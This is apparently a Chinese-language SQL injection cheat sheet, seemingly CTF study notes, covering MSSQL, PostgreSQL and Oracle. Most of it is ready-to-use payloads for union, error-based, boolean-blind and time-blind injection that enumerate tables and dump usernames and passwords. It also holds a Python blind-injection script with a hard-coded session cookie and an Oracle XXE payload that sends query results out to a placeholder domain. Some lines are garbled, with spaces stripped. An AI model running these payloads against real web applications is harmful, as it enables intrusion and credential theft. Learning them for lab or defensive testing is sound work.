Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络(包括 Internet)上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433
?id=1and1=(select top 1 name from sysobjects where xtype='u');-- ?id=1and1=(select top 1 name from sysobjects where xtype='u'and name notin ('Users'));-- ------------------------------------------------------------------------------------------------------------ 1.sysobjects:MSSQL 系统表,存储数据库所有对象
/* 查询表名可以用 information_schema.tables */ ?id=1and1=(select top 1 table_name from information_schema.tables);--
/* 查询列名可以用 information_schema.columns */ ?id=1and1=(select top 1 column_name from information_schema.columns where table_name='Users');--
查询表中的字段名
1 2 3 4 5 6 7 8 9 10 11 12 13 14
?id=1and1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='Users'));-- ?id=1and1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='Users') and name<>'id');-- ?id=1and1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='Users') and name<>'id'and name<>'password');-- ------------------------------------------------------------------------------------------------------------
syscolumns:MSSQL 系统表,存储所有表的列信息
sysobjects:存储数据库对象信息,通过子查询获取 Users 表的 id
TOP 1:每次只返回第一个符合条件的列名
name <>'...':排除已找到的列,获取下一个新列
查询表中具体的数据
1 2 3 4 5 6 7 8 9 10 11 12 13
-- 获取第1个 username ?id=1and1=(select top 1 username from Users);--
-- 获取第2个 username ?id=1and1=(select top 1 username from Users where username<>'admin');--
-- 获取第3个 username ?id=1and1=(select top 1 username from Users where username<>'admin'and username<>'flag');-- ----------------------------------------------------- 1.mssql的排除可以用两种方法,一种是notin ?id=1and1=(select top 1 id from Users where username notin ('admin','flag'));--
cookies = { # 如果目标网站要事先登录,就加上cookies吧 "PHPSESSID":"c8ab8r49nd2kk0qfhs0dcaktl3" }
flag = '' for i inrange(1,90000): low = 32 high = 128 mid = (low+high)//2 while(low<high): payload = url + "-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1))>%d-- " %(i,mid) res = requests.get(url=payload)
""" data = { "user_id": payload } res = requests.get(url=url, data=data) """
1' order by 3-- #查看显示列 1'orderby4--(正常) 1' order by 5--(报错) 1'unionselectnull,null,null--(这里是使用的null来占位) 因为直接使用MySQL的数字进行占位的话会出现类型不匹配报错的问题,因为我们不一定知道这三个位置的具体类型
当使用 -1' union select 1,2,3-- 时,出现了第二个和第三个位置的数据类型不匹配,第二和第三位的数据类型为char,但是我们这里使用了int进行占位导致了出错
当使用 -1' union select 1,'2','3'-- 时,正常回显,但是大多情况下我们不知道具体位置的数据类型,所以都是使用的NULL进行占位
获取数据库信息
1 2 3 4 5 6 7 8 9
-- 获取当前数据库 -1' union select NULL,current_database(),NULL -- -- 获取当前用户 -1'unionselectNULL,current_user,NULL--
-- 获取版本 -1' union select NULL,version(),NULL --
获取表名
1 2 3
(1)-1' union select NULL,tablename,NULL FROM pg_tables WHERE schemaname='public' -- (2)-1'unionselect1,table_name,NULLfrom information_schema.tables where table_schema='public'--
这里的schemaname=’public’: public 是 PostgreSQL 默认的”公共文件夹”,创建的表默认都放在 public 里,如果不设定模式schemaname=’public’,会出现许多PostgreSQL自己的系统表,虽然schemaname=’public’不是必须,但是最好设置上
获取users表的列名
1 2 3 4
(1)-1' union select NULL,attname,NULL FROM pg_attribute WHERE attrelid='users'::regclass and attnum>0 -- -------------------------------------------------------------------------------------------------------------------------------- (2)-1'unionselect1,column_name,data_type FROM information_schema.columns where table_name='users'--
1' and 1=cast((select current_database()) AS int)--
获取表名
1 2 3
(1)1' and 1=cast((select tablename from pg_tables where schemaname='public') AS int)-- (2)1'and1=cast((select table_name from information_schema.tables where table_schema='public') ASint)--
获取列名
1 2 3 4 5
(1)1' and 1=cast((SELECT string_agg(attname, ',') FROM pg_attribute WHERE attrelid='users'::regclass AND attnum>0) AS int)-- 由于报错注入不能多行回显,所里这里使用string_agg()函数将列名连接成一个字符串显示 -------------------------------------------------------------------------------------------------------------------------------- (2)1'and1=cast((SELECT string_agg(column_name ||':'|| data_type, ', ') FROM information_schema.columns WHERE table_name='users') ASint)--
-- 获取所有用户名 1' and 1=cast((SELECT string_agg(username, ',') FROM users) AS int)-- --获取所有密码 1'and1=cast((SELECT string_agg(password, ',') FROM users) ASint)--
--同时获取用户名和密码 1' and 1=cast((SELECT string_agg(username || ':' || password, '|') FROM users) AS int)--
-- 获取表名 1' AND 1=((SELECT xmlagg(xmlelement(name t, table_name)) FROM information_schema.tables WHERE table_schema='public'))::text::int -- -- 获取列名 1'AND1=((SELECT xmlagg(xmlelement(name c, column_name)) FROM information_schema.columns WHERE table_name='users'))::text::int--
-- 获取 flag 密码 1' AND 1=((SELECT xmlelement(name flag, password) FROM users WHERE username='flag'))::text::int --
SELECT json_agg(username) FROM users; -- 结果: ["admin", "test", "bob"]
报错原因
JSON 数组格式如 ["admin", "test"] 包含 [、]、" 等字符
这些字符无法转换为整数
数据库报错时会将完整的 JSON 字符串显示出来
相关payload
1 2 3 4 5 6 7 8
--获取表名 1' AND 1=((SELECT json_agg(table_name) FROM information_schema.tables WHERE table_schema='public'))::text::int -- --获取列名 1'AND1=((SELECT json_agg(column_name) FROM information_schema.columns WHERE table_name='users'))::text::int--
--获取数据 1' AND 1=((SELECT json_agg(json_build_object('column', column_name, 'type', data_type)) FROM information_schema.columns WHERE table_name='users'))::text::int --
--查表名 1' AND 1=((SELECT json_agg(table_name) FROM information_schema.tables WHERE table_schema='public'))::text::int -- --查列名 1'AND1=((SELECT json_agg(column_name) FROM information_schema.columns WHERE table_name='users'))::text::int--
--获取数据 1' AND 1=((SELECT json_agg(json_build_object('user', username, 'pass', password)) FROM users))::text::int --
布尔盲注
字符串内容判断
1 2 3 4 5 6 7 8
-- 判断第一个字符是否为 'a' 1' AND (SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1), 1, 1)) = 'a' -- -- 使用 ASCII 码判断 1'AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1), 1, 1)) =97--
-- 使用 LEFT 函数 1' AND LEFT((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1), 1) = 'a' --
时间盲注
Postgresql的延时函数:pg_sleep(seconds)
1 2 3 4 5
-- 延时5秒 SELECT pg_sleep(5);
-- 条件判断延时 1' AND (SELECT CASE WHEN (SELECT current_user='postgres') THEN pg_sleep(5) ELSE NULL END) --
获取表名
1 2 3 4 5 6 7 8 9 10 11
-- 判断表数量 1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public') > 0 THEN pg_sleep(5) ELSE NULL END) -- -- 判断第一个表名长度 1'AND (SELECTCASEWHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema='public' LIMIT 1OFFSET0) >3THEN pg_sleep(5) ELSENULLEND) -- 1' AND (SELECT CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0) = 5 THEN pg_sleep(5) ELSE NULL END) -- 'users'长度为5 -- 猜解第一个表名第一个字符 'u' 1'AND (SELECTCASEWHEN ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1OFFSET0), 1, 1)) >100THEN pg_sleep(5) ELSENULLEND) -- 1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0), 1, 1)) = 117 THEN pg_sleep(5) ELSE NULL END) -- 'u'
获取列名
1 2 3 4 5 6 7 8 9
-- 判断列数量 1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 3 THEN pg_sleep(5) ELSE NULL END) -- -- 判断第一列名长度 1'AND (SELECTCASEWHEN (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='users'ORDERBY ordinal_position LIMIT 1OFFSET0) =2THEN pg_sleep(5) ELSENULLEND) -- 'id'
-- 猜解第一列名 'i', 'd' 1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' ORDER BY ordinal_position LIMIT 1 OFFSET 0), 1, 1)) = 105 THEN pg_sleep(5) ELSE NULL END) -- 'i' 1'AND (SELECTCASEWHEN ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users'ORDERBY ordinal_position LIMIT 1OFFSET0), 2, 1)) =100THEN pg_sleep(5) ELSENULLEND) -- 'd'
获取数据
1 2 3 4 5 6 7 8 9
-- 判断 flag 密码长度 1' AND (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='flag') > 10 THEN pg_sleep(5) ELSE NULL END) -- 1'AND (SELECTCASEWHEN (SELECT LENGTH(password) FROM users WHERE username='flag') >15THEN pg_sleep(5) ELSENULLEND) -- 1' AND (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='flag') = 16 THEN pg_sleep(5) ELSE NULL END) -- -- 逐字符猜解 flag 密码 -- 第1个字符 'f' (ASCII 102) 1'AND (SELECTCASEWHEN ASCII(SUBSTRING((SELECT password FROM users WHERE username='flag'), 1, 1)) >100THEN pg_sleep(5) ELSENULLEND) -- 1' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT password FROM users WHERE username='flag'), 1, 1)) = 102 THEN pg_sleep(5) ELSE NULL END) --
AND1= CTXSYS.DRITHSX.SN(1, (SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE TABLE_NAME ='USERS'AND ROWNUM =1))
查询数据(配合 rownum 和 <> 获取多条)
1 2 3 4 5
-- 获取第一条 AND1= CTXSYS.DRITHSX.SN(1, (SELECT USERNAME FROM USERS WHERE ROWNUM =1))
-- 获取第二条(排除第一条) AND1= CTXSYS.DRITHSX.SN(1, (SELECT USERNAME FROM USERS WHERE ROWNUM =1AND USERNAME <>'admin'))
XMLType 报错注入
1 2
-- 利用 XMLType 函数 ?id=1AND (SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://'||(SELECTuserFROM DUAL)||'.example.com/">%remote;]>'),'/l') FROM DUAL) ISNOT NULL
但这种通常用于带外注入(OOB),单纯报错不如 CTXSYS 直接。
除零错误注入
1 2
-- 利用 TO_NUMBER 转换错误 ?id=1AND1=TO_NUMBER((SELECT username FROM USERS WHERE ROWNUM=1))
但这种方法不会显示具体数据,只能用于布尔盲注,不适合直接报错出数据。
UTL_INADDR 报错注入
1 2
-- 需要数据库有网络函数权限 ?id=1AND UTL_INADDR.GET_HOST_ADDRESS((SELECT username FROM USERS WHERE ROWNUM=1)) ISNOT NULL
报错信息会尝试解析域名为 IP,如果域名非法会报错并显示查询结果。
布尔盲注
可利用函数:
函数
用途
示例
ASCII()
获取字符的 ASCII 码
ASCII('A') = 65
SUBSTR()
截取字符串
SUBSTR('abc', 1, 1) = 'a'
LENGTH()
获取字符串长度
LENGTH('abc') = 3
INSTR()
查找子串位置
INSTR('abc', 'b') = 2
利用:
确认注入点(布尔测试)
1 2
?id=1' AND '1'='1' -- → 页面正常 ?id=1'AND'1'='2'-- → 页面异常
判断当前数据库用户
1 2 3 4 5
-- 判断用户名第一个字符是否为 'S'(ASCII 83) ?id=1' AND ASCII(SUBSTR((SELECT USER FROM DUAL), 1, 1)) = 83 -- -- 或者用更直观的字符串比较 ?id=1'AND SUBSTR((SELECTUSERFROM DUAL), 1, 1) ='S'--
判断逻辑:
= 83 正确 → 页面正常 → 第一个字符是 ‘S’
不正确 → 页面异常 → 尝试其他 ASCII 值
判断当前用户下的表数量
1 2
-- 表数量是否 = 5? ?id=1' AND (SELECT COUNT(*) FROM USER_TABLES) = 5 --
获取第一张表名的长度
1 2
-- 第一张表名的长度是否 = 6? ?id=1' AND (SELECT LENGTH(table_name) FROM USER_TABLES WHERE ROWNUM = 1) = 6 --
逐字符获取表名
1 2 3 4 5 6 7
-- 第一张表名的第一个字符是否为 'U'? ?id=1' AND ASCII(SUBSTR((SELECT table_name FROM USER_TABLES WHERE ROWNUM = 1), 1, 1)) = 85 -- -- 第一个字符是否为 'A'? ?id=1'AND ASCII(SUBSTR((SELECT table_name FROM USER_TABLES WHERE ROWNUM =1), 1, 1)) =65--
-- 依次类推,逐个字符爆破
获取 USERS 表的列数
1 2
-- USERS 表是否有 4 列? ?id=1' AND (SELECT COUNT(*) FROM USER_TAB_COLUMNS WHERE table_name = 'USERS') = 4 --
获取 USERS 表的列名
1 2
-- 第一列的第一个字符是否为 'I'? ?id=1' AND ASCII(SUBSTR((SELECT column_name FROM USER_TAB_COLUMNS WHERE table_name = 'USERS' AND ROWNUM = 1), 1, 1)) = 73 --
获取数据
1 2
-- admin 用户的密码第一个字符 ASCII 是否为 97('a')? ?id=1' AND ASCII(SUBSTR((SELECT password FROM USERS WHERE username = 'admin'), 1, 1)) = 97 --
时间盲注
可利用函数
函数
作用
示例
DBMS_LOCK.SLEEP(秒数)
让会话休眠指定秒数
DBMS_LOCK.SLEEP(5) → 延时 5 秒
CASE WHEN ... THEN ... ELSE ... END
条件判断,结合延时
CASE WHEN 条件 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END
DECODE()
条件判断函数
DECODE(条件, 真值, 延时函数, 假值)
注:DBMS_LOCK.SLEEP() 需要执行权限。如果当前用户无权限,可以尝试:
SYS.DBMS_LOCK.SLEEP()(指定 SYS 模式)
或者用 AND (SELECT COUNT(*) FROM ALL_OBJECTS) > 1000000 这种消耗 CPU 的方式模拟延时
示例:
基础测试(是否存在时间盲注)
1
?id=1' AND DBMS_LOCK.SLEEP(5) --
如果页面响应延迟了 5 秒,说明存在时间盲注。
结合条件判断
1 2
-- 如果当前用户是 'SYS',就延时 5 秒 ?id=1' AND (SELECT CASE WHEN USER = 'SYS' THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL --
判断用户名第一个字符
1 2
-- 如果第一个字符 ASCII = 83('S'),延时 5 秒 ?id=1' AND (SELECT CASE WHEN ASCII(SUBSTR((SELECT USER FROM DUAL), 1, 1)) = 83 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL --
判断逻辑:
页面响应延迟 5 秒 → 条件为真 → 第一个字符是 ‘S’
立即响应 → 条件为假 → 尝试其他 ASCII 值
逐字符获取表名
1 2
-- 第一张表名的第一个字符是否为 'U'? ?id=1' AND (SELECT CASE WHEN ASCII(SUBSTR((SELECT table_name FROM USER_TABLES WHERE ROWNUM = 1), 1, 1)) = 85 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL --
获取数据
1 2
-- admin 的密码第一个字符是否为 'a'? ?id=1' AND (SELECT CASE WHEN ASCII(SUBSTR((SELECT password FROM USERS WHERE username = 'admin'), 1, 1)) = 97 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL --
无 DBMS_LOCK.SLEEP 权限的替代方案
1 2 3 4 5
-- 方法1:大量计算导致延时 ?id=1' AND (SELECT COUNT(*) FROM ALL_OBJECTS A, ALL_OBJECTS B, ALL_OBJECTS C) > 0 -- -- 方法2:使用递归 CTE(高版本 Oracle) ?id=1'AND (WITH T(N) AS (SELECT1FROM DUAL UNIONALLSELECT N+1FROM T WHERE N<1000000) SELECTCOUNT(*) FROM T) >0--